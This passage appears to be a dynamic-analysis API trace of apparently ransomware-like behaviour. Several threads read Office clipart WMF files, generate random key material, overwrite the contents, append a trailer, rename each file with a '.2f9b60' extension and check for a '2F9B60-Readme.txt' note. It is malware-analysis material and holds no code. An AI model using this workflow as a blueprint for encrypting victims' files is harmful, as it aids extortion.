IoStatusBlock=0x1f5bfbd8, FileInformation=0x1f5bfbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f5bfbd8, FileInformation=0x1f5bfbe8) returned 0x0 [0125.034] NtSetInformationFile (FileHandle=0x10e0, IoStatusBlock=0x1f5bfbd8, FileInformation=0x1f5bfbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0125.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a0b0) returned 1 [0125.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8647d0) returned 1 [0125.036] FlushFileBuffers (hFile=0x10e0) returned 1 [0125.046] CloseHandle (hObject=0x10e0) returned 1 [0125.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b00b0 [0125.047] wcscpy (in: _Dest=0x202b00b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0125.047] wcscat (in: _Dest=0x202b00b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0125.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0125.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b00b0) returned 1 [0125.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a770) returned 1 Thread: id = 1512 os_tid = 0x19f4 [0120.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x20 [0122.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF", dwFileAttributes=0x20) returned 1 [0122.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1814 [0123.475] GetFileSizeEx (in: hFile=0x1814, lpFileSize=0x1f7ffae0 | out: lpFileSize=0x1f7ffae0*=9590) returned 1 [0123.475] SetFilePointerEx (in: hFile=0x1814, liDistanceToMove=0x2572, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.475] ReadFile (in: hFile=0x1814, lpBuffer=0x1f7ffa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f7ffaa8, lpOverlapped=0x0 | out: lpBuffer=0x1f7ffa60*, lpNumberOfBytesRead=0x1f7ffaa8*=0x4, lpOverlapped=0x0) returned 1 [0123.693] SetFilePointerEx (in: hFile=0x1814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f010 [0123.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dd50 [0123.694] NtQuerySystemTime (in: CurrentTime=0x1f7ff9a0 | out: CurrentTime=0x1f7ff9a0*=132462177290818000) returned 0x0 [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x2cb6d8ce [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x67631b11 [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x758f5098 [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x75c6a6ad [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x34a822de [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x480e65f0 [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x5970e8a6 [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x209a1b32 [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x38084789 [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x10f747d8 [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0xa87bea6 [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0xfd460f9 [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x273ad297 [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x1fa844f3 [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x2c1e660f [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x8cabf48 [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x26728b7b [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x71ae4d1e [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x39e59b84 [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x5a849b26 [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x475f0b7a [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x125f717d [0123.694] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x2458d8c6 [0123.695] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x1fd4bcbd [0123.695] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x5f50ef02 [0123.695] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x6e801a4b [0123.695] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x5a8f5484 [0123.695] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x63112e3f [0123.695] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x64d6b1d2 [0123.695] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x28f88c09 [0123.695] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x3ddd3120 [0123.695] RtlRandomEx (in: Seed=0x1f7ff990 | out: Seed=0x1f7ff990) returned 0x27c92239 [0124.493] ReadFile (in: hFile=0x1814, lpBuffer=0x41d178d0, nNumberOfBytesToRead=0x2576, lpNumberOfBytesRead=0x1f7ff990, lpOverlapped=0x0 | out: lpBuffer=0x41d178d0*, lpNumberOfBytesRead=0x1f7ff990*=0x2576, lpOverlapped=0x0) returned 1 [0124.875] SetFilePointerEx (in: hFile=0x1814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.875] WriteFile (in: hFile=0x1814, lpBuffer=0x41f35950*, nNumberOfBytesToWrite=0x2576, lpNumberOfBytesWritten=0x1f7ff994, lpOverlapped=0x0 | out: lpBuffer=0x41f35950*, lpNumberOfBytesWritten=0x1f7ff994*=0x2576, lpOverlapped=0x0) returned 1 [0124.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74d0 [0124.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7260 [0124.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7260) returned 1 [0124.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f35950) returned 1 [0124.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d178d0) returned 1 [0124.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505510) returned 1 [0124.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0124.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7260 [0124.896] SetFilePointerEx (in: hFile=0x1814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.897] WriteFile (in: hFile=0x1814, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f7ffab0, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x1f7ffab0*=0x10a, lpOverlapped=0x0) returned 1 [0125.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0125.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504790 [0125.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab910 [0125.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab910) returned 1 [0125.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0125.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab910 [0125.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ac030 [0125.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac030) returned 1 [0125.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504790) returned 1 [0125.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0125.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0125.002] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="31") returned 2 [0125.002] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="b4") returned 2 [0125.002] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="cf") returned 2 [0125.002] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="5e") returned 2 [0125.003] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="da") returned 2 [0125.003] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="c6") returned 2 [0125.003] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="c3") returned 2 [0125.003] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="07") returned 2 [0125.003] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="4d") returned 2 [0125.003] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="28") returned 2 [0125.003] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="9f") returned 2 [0125.003] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="6a") returned 2 [0125.003] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="2d") returned 2 [0125.003] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="24") returned 2 [0125.003] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="12") returned 2 [0125.003] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="7e") returned 2 [0125.003] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="c7") returned 2 [0125.003] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="f3") returned 2 [0125.003] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="4c") returned 2 [0125.003] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="3e") returned 2 [0125.003] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="b9") returned 2 [0125.003] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="53") returned 2 [0125.003] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="e5") returned 2 [0125.003] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="5b") returned 2 [0125.003] RtlInitAnsiString (in: DestinationString=0x1f7ffb28, SourceString="31b4cf5edac6c3074d289f6a2d24127ec7f34c3eb953e55b" | out: DestinationString="31b4cf5edac6c3074d289f6a2d24127ec7f34c3eb953e55b") [0125.003] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f7ffaf8, SourceString="31b4cf5edac6c3074d289f6a2d24127ec7f34c3eb953e55b", AllocateDestinationString=1 | out: DestinationString="31b4cf5edac6c3074d289f6a2d24127ec7f34c3eb953e55b") returned 0x0 [0125.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8639d0 [0125.004] wcscat (in: _Dest=0x2027b690, _Source="31b4cf5edac6" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\31b4cf5edac6") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\31b4cf5edac6" [0125.004] wcscat (in: _Dest=0x2027b690, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\31b4cf5edac6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\31b4cf5edac6.2f9b60" [0125.004] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\31b4cf5edac6.2f9b60", NtPathName=0x1f7ffad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\31b4cf5edac6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0125.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106dc0 [0125.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106dc0) returned 1 [0125.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf493f0) returned 1 [0125.007] NtQueryInformationFile (in: FileHandle=0x1814, IoStatusBlock=0x1f7ffb38, FileInformation=0x1f7ffb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f7ffb38, FileInformation=0x1f7ffb48) returned 0x0 [0125.007] NtSetInformationFile (FileHandle=0x1814, IoStatusBlock=0x1f7ffb38, FileInformation=0x1f7ffb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0125.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b690) returned 1 [0125.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8639d0) returned 1 [0125.008] FlushFileBuffers (hFile=0x1814) returned 1 [0125.018] CloseHandle (hObject=0x1814) returned 1 [0125.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027b690 [0125.019] wcscpy (in: _Dest=0x2027b690, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0125.019] wcscat (in: _Dest=0x2027b690, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0125.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0125.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b690) returned 1 [0125.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509de0) returned 1 Thread: id = 1513 os_tid = 0x19f8 [0120.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x20 [0122.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF", dwFileAttributes=0x20) returned 1 [0122.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1548 [0123.469] GetFileSizeEx (in: hFile=0x1548, lpFileSize=0x1f8afce0 | out: lpFileSize=0x1f8afce0*=27552) returned 1 [0123.469] SetFilePointerEx (in: hFile=0x1548, liDistanceToMove=0x6b9c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.469] ReadFile (in: hFile=0x1548, lpBuffer=0x1f8afc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f8afca8, lpOverlapped=0x0 | out: lpBuffer=0x1f8afc60*, lpNumberOfBytesRead=0x1f8afca8*=0x4, lpOverlapped=0x0) returned 1 [0123.544] SetFilePointerEx (in: hFile=0x1548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e2f0 [0123.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e140 [0123.545] NtQuerySystemTime (in: CurrentTime=0x1f8afba0 | out: CurrentTime=0x1f8afba0*=132462177289258000) returned 0x0 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x77aead40 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x434bec70 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x49458cf8 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x660aa3f3 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x23e44c77 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x611dcab8 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x5240e6b9 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x950e800 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x74130dc9 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x9260f40 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x73458cfc [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x44da7663 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x7b41a7e4 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x604d1f64 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x2df216fd [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x5df0fe12 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x2cf2455d [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x3a93caae [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x3a93caae [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x4ae03f3f [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x4846b33e [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x753c4990 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x454b4957 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x125aa080 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x198df8ce [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x31611046 [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x1d11e8c [0123.545] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x10c38164 [0123.546] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x6b43c302 [0123.546] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x478c3941 [0123.546] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x755c4ebe [0123.546] RtlRandomEx (in: Seed=0x1f8afb90 | out: Seed=0x1f8afb90) returned 0x3a323da8 [0123.556] SetFilePointerEx (in: hFile=0x1548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.556] ReadFile (in: hFile=0x1548, lpBuffer=0x1cede210, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f8afc00, lpOverlapped=0x0 | out: lpBuffer=0x1cede210*, lpNumberOfBytesRead=0x1f8afc00*=0x3c00, lpOverlapped=0x0) returned 1 [0123.870] SetFilePointerEx (in: hFile=0x1548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0123.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867240 [0123.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82af60) returned 1 [0123.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b178d0 [0124.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0124.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0124.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c20) returned 1 [0124.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867240) returned 1 [0124.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0124.503] WriteFile (hFile=0x1548, lpBuffer=0x41b178d0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f8afc00, lpOverlapped=0x0) [0170.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b178d0) returned 1 [0170.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cede210) returned 1 [0170.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c1cb00 [0170.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420597e0 [0170.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0170.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cb30 [0170.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cb30) returned 1 [0170.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c1cb30 [0170.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cb60 [0170.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cb90 [0170.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cb90) returned 1 [0170.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0170.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420597e0) returned 1 [0170.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c15170 [0170.816] SetFilePointerEx (in: hFile=0x1548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0170.816] WriteFile (in: hFile=0x1548, lpBuffer=0x42c15170*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f8afcb0, lpOverlapped=0x0 | out: lpBuffer=0x42c15170*, lpNumberOfBytesWritten=0x1f8afcb0*=0x10a, lpOverlapped=0x0) returned 1 [0201.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0201.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6f50 [0201.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6f50) returned 1 [0201.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f8740 [0201.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6f50 [0201.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6800 [0201.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6800) returned 1 [0201.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0201.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa7a0 [0201.502] sprintf (in: _Dest=0x1b7aa7a0, _Format="%c%c" | out: _Dest="ab") returned 2 [0201.502] sprintf (in: _Dest=0x1b7aa7a2, _Format="%c%c" | out: _Dest="96") returned 2 [0201.502] sprintf (in: _Dest=0x1b7aa7a4, _Format="%c%c" | out: _Dest="fe") returned 2 [0201.502] sprintf (in: _Dest=0x1b7aa7a6, _Format="%c%c" | out: _Dest="20") returned 2 [0201.502] sprintf (in: _Dest=0x1b7aa7a8, _Format="%c%c" | out: _Dest="03") returned 2 [0201.502] sprintf (in: _Dest=0x1b7aa7aa, _Format="%c%c" | out: _Dest="35") returned 2 [0201.502] sprintf (in: _Dest=0x1b7aa7ac, _Format="%c%c" | out: _Dest="dd") returned 2 [0201.502] sprintf (in: _Dest=0x1b7aa7ae, _Format="%c%c" | out: _Dest="3e") returned 2 [0201.502] sprintf (in: _Dest=0x1b7aa7b0, _Format="%c%c" | out: _Dest="b5") returned 2 [0201.502] sprintf (in: _Dest=0x1b7aa7b2, _Format="%c%c" | out: _Dest="ec") returned 2 [0201.502] sprintf (in: _Dest=0x1b7aa7b4, _Format="%c%c" | out: _Dest="90") returned 2 [0201.503] sprintf (in: _Dest=0x1b7aa7b6, _Format="%c%c" | out: _Dest="78") returned 2 [0201.503] sprintf (in: _Dest=0x1b7aa7b8, _Format="%c%c" | out: _Dest="18") returned 2 [0201.503] sprintf (in: 